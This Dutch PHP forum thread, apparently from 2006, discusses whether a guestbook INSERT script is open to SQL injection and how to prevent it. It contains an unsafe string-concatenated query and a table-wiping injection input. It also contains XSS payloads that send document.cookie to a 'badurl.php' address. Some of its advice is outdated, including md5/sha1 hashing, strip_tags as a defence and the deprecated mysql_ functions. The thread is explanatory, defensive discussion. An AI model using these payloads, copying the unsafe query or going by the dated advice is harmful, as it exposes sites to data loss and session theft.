Is dit script vatbaar voor mysql injection?

Zo ja, hoe kan ik het oplossen:

<?php
$email = strip_tags($_POST["email"]);
$naam = strip_tags($_POST["naam"]);
$onderwerp = strip_tags($_POST["onderwerp"]);
$bericht = strip_tags($_POST["bericht"]);
$datum = date("r");

$insert = "INSERT INTO
gastenboek(
onderwerp,
datum,
naam,
email,
bericht)
VALUES (
'".$onderwerp."',
NOW(),
'".$naam."',
'".$email."',
'".$bericht."')";

$voerin = mysql_query($insert);

if(mysql_errno() == 1062)
{
$melding2 = 'Precies ditzelfde bericht is al eerder gepost, dit kan geen toeval zijn.';
}
?>
Aha, oki.

Alleen gebruik ik altijd limit = 1, dan wordt er maar 1 record verwijderd. Nog niet lekker, maar het beperkt de schade.

En wat kan er dan verkeerd gaan in een INSERT querie
Frank schreef op 30.08.2006 21:28
klopt het dat men daarmee dan ook wachtwoorden kan achterhalen
Wanneer jij md5 of sha1 gebruikt (met een salt) dan is dit vrijwel onmogelijk. Doe je dat niet, dan ben je stom bezig en moet je niet zeuren dat de boel gejat is...

SQL-injection betekent dat er stukken SQL in jouw database worden geinjecteerd die er niet thuis horen. Het wordt dus door de gebruiker in de query gezet en niet door de programmeur.


DELETE FROM tabelnaam WHERE id = $_POST['id'];

Jij verwacht dat $_POST['id'] bv. de waarde 23 heeft, maar wat als een grappenmaker daar van maakt:
23 or id > 0
De query die naar de database wordt gestuurd, komt er dan alsvolgt uit te zien:

DELETE FROM tabelnaam WHERE id = 23 or id > 0;

1x raden wat er gebeurd... Alle records in de tabel 'tabelnaam' worden weggegooid!

In dit voorbeeld heb je trouwens weinig aan mysql_real_escape_string. Om MySQL injection tegen te gaan moet je twee dingen in de gaten houden.

1) In het gedeelte in de WHERE altijd quotes gebruiken in combinatie met mysql_real_escape_string

2) Als in het WHERE gedeelte een INT gebruikt wordt zodat je niet met quotes kunt werken (zoals in dit voorbeeld van Frank) checken met is_numeric of de ingevoerde waarde wel een getal is.
Om SQL-injection tegen te gaan, is er maar 1 methode: Hou alles tegen, tenzij JIJ het hebt goedgekeurd.

Waardes uit een GET moeten nummeriek zijn, voorkomen in een array met goedgekeurde waardes, een md5-string van 32 karakters (hexadecimaal) of een sha1-string van 40 karakters (hex).

Voor zoekresultaten kun je nog iets anders te werk gaan, maar ook hier alleen datgene toestaan, wat JIJ wilt toestaan.

Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...

Met regular expressions zijn ook een hoop problemen te voorkomen, je kunt van alles en nog wat gaan controleren.

Een andere tip, is het gebruik van een betere database die het gebruik van eigen functies ondersteund en waarbij je op user-niveau kunt aangeven welke functies een gebruiker wel en niet kan gebruiken. Een functie waarbij gegevens worden verwijderd, is bv. niet toegankelijk voor gebruiker X. Ook met MySQL zijn beperkte mogelijkheden om de boel te beveiligen, zorg er voor dat niemand (behalve de DBA) tabellen kan aanmaken, verwijderen of records kan verwijderen. Wanneer een gebruiker iets wil verwijderen, doe dan een UPDATE waarmee je aangeeft dat een record niet meer mag worden getoond. De DBA, of een cronjob, schoont dan eens in de zoveel tijd de database wel op.

En omdat een database wel enige honderden miljoenen records kan bevatten, zal dat echt geen probleem zijn. Mocht het toch een probleem worden, dan heb je een succesvolle website/applicatie gebouwd. Verkoop dan de hele zooi en vertrek met een enkele reis naar bv. de Bahama's. Probleem ook weer opgelost. ;)
Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...

Mag ik wel even opmerken dat waneer je <p/> toelaat, striptags() ook niet zal tegenstribbelen bij <p onmouseover="alert(document.cookie)"/>. Waarbij alert() dan een meganisme is om de inhoud van document.cookie ergens achter te laten.

En met UBB ben je standaard ook nog niet veilig. Probeer dezen maar eens. (hopelijk is dit tegenwoordig op PHPhulp opgelost)
Bij links is het ook leuk. Zo is bijvoorbeeld dit nog maar al te vaak mogelijk:
[ignore]Ga naar paashaas.nl[/ignore]

Of wat dacht je van plaatjes, mogelijkheden genoeg!
[ignore]bestaatniet.jpg" onerror="document.location.href='badurl.php?cookie='+document.cookie

Maar ook:
javascript:document.location.href='badurl.php?cookie='+document.cookie. Dat zal internet explorer zonder problemen toelaten.[/ignore]
En zo zijn er nog wel wat mogelijkheden.
Met PHP5 'hoef je niet meer te escsape' als je gebruik maakt van MySQLi.
Voorbeeldje hieronder (uit Upgrading to PHP5):
<?php
$username = 'rasmus';
$password = 'zegiklekkerniet';
$zipcode = '2922AA';

$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}
?>
Zou er binnenkort eens tutorial over posten want deze methodes hebben zeker af en toe voordeel.
Wat ik heb geleerd om alle beveiligings fouten tegen te houden is:

-Indentificeer je input
#Gebruik isset etc.
-Check altijd de input
#Hiervoor kun je regular expressions gebruiken. Lengte checken als je bepaalde lengte hebt etc.
-Zorg ervoor dat je het verschil tussen gecheckte waarde en niet gecheckte weet.
#Kijk goed welke gecheckt is en welke niet.
-Escape input
#addslashes, maar het beste voor mysql is toch mysql_real_escape_string()
-In de database ermee.
-Als het uit de database komt escape output
#htmlentities gebruiken.

Ziezo dat moet je een goede informatie geven over hoe je het beste kunt beveiligen. Er is natuurlijk meer, maar de meeste komen al niet meer verder dan hier dus.

Groeten,
Christian Bolster
Ik gebruik altijd de code die de webmakerij ook gebruikt (dit is de methode die ook in DBI in perl zit). Alles wat nut heeft checken met regex, en de rest via


$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}

invoegen.

Het houd je code ook lekker overzichtelijk.
Mijn tip is gelijk aan een van de tips van Frank. Zet in ELKE tabel in je DB een kolom DATUM_EINDE. Hoef je nooit meer iets weg te gooien als iemand iets mag deleten, delete hij niet echt maar vult alleen de einddatum.
Houd je mooi je history en het is weer een stukje veiliger.
Uiteraard eindigt elke SELECT SQL wel met AND datum_einde=''
en wat is een mysql injection ? ben dus nog een n00b in php :D

Reageren